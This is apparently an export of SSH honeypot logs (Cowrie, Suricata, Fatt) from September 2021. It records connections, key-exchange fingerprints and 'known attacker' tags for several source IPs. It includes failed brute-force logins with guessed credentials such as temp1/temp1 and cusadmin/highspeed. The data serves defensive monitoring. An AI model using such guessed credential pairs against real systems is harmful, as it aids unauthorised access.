24848	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:05.531973+03	2021-09-20 14:15:09.33047+03	{"_id": "kQblAnwBvYTbRNuELhVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "89e4a9c823dc", "@version": "1", "timestamp": "2021-09-20T11:09:05.531973Z", "@timestamp": "2021-09-20T11:09:05.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24849	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:05.545261+03	2021-09-20 14:15:09.331471+03	{"_id": "kgblAnwBvYTbRNuELhVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8383258ac43a", "@version": "1", "timestamp": "2021-09-20T11:09:05.545261Z", "@timestamp": "2021-09-20T11:09:05.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24850	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:05.68206+03	2021-09-20 14:15:09.33347+03	{"_id": "kwblAnwBvYTbRNuELhVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [temp1/temp1] failed", "session": "03c2f1d780f7", "@version": "1", "password": "temp1", "username": "temp1", "timestamp": "2021-09-20T11:09:05.682060Z", "@timestamp": "2021-09-20T11:09:05.682Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24851	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:05.869565+03	2021-09-20 14:15:09.334471+03	{"_id": "lAblAnwBvYTbRNuELhVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "49729f37da59", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:05.869565Z", "@timestamp": "2021-09-20T11:09:05.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24852	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:05.929608+03	2021-09-20 14:15:09.33547+03	{"_id": "lQblAnwBvYTbRNuELhVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "210e7223bfdd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:05.929608Z", "@timestamp": "2021-09-20T11:09:05.929Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24853	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:05.932208+03	2021-09-20 14:15:09.33647+03	{"_id": "lgblAnwBvYTbRNuELhVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "210e7223bfdd", "@version": "1", "timestamp": "2021-09-20T11:09:05.932208Z", "@timestamp": "2021-09-20T11:09:05.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24854	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:06.166999+03	2021-09-20 14:15:09.33847+03	{"_id": "lwblAnwBvYTbRNuELhVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "49729f37da59", "@version": "1", "timestamp": "2021-09-20T11:09:06.166999Z", "@timestamp": "2021-09-20T11:09:06.166Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24855	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:06.342007+03	2021-09-20 14:15:09.339471+03	{"_id": "mAblAnwBvYTbRNuELhVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [cusadmin/highspeed] failed", "session": "84854aca4931", "@version": "1", "password": "highspeed", "username": "cusadmin", "timestamp": "2021-09-20T11:09:06.342007Z", "@timestamp": "2021-09-20T11:09:06.342Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24856	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:06.146122+03	2021-09-20 14:15:09.34047+03	{"_id": "mQblAnwBvYTbRNuEMBWu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1970438315047447, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58196, "dest_port": 22, "timestamp": "2021-09-20T11:09:06.146122Z", "@timestamp": "2021-09-20T11:09:06.146Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24921	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:26.31283+03	2021-09-20 14:15:09.425499+03	{"_id": "hAblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:35686 (192.168.176.2:22) [session: 524574b7b549]", "session": "524574b7b549", "@version": "1", "protocol": "ssh", "src_port": 35686, "dest_port": 22, "timestamp": "2021-09-20T11:09:26.312830Z", "@timestamp": "2021-09-20T11:09:26.312Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24857	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:06.900147+03	2021-09-20 14:15:09.34247+03	{"_id": "mwblAnwBvYTbRNuEMRWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7384, "timestamp": "2021-09-20T11:09:06.900147", "@timestamp": "2021-09-20T11:09:06.900Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
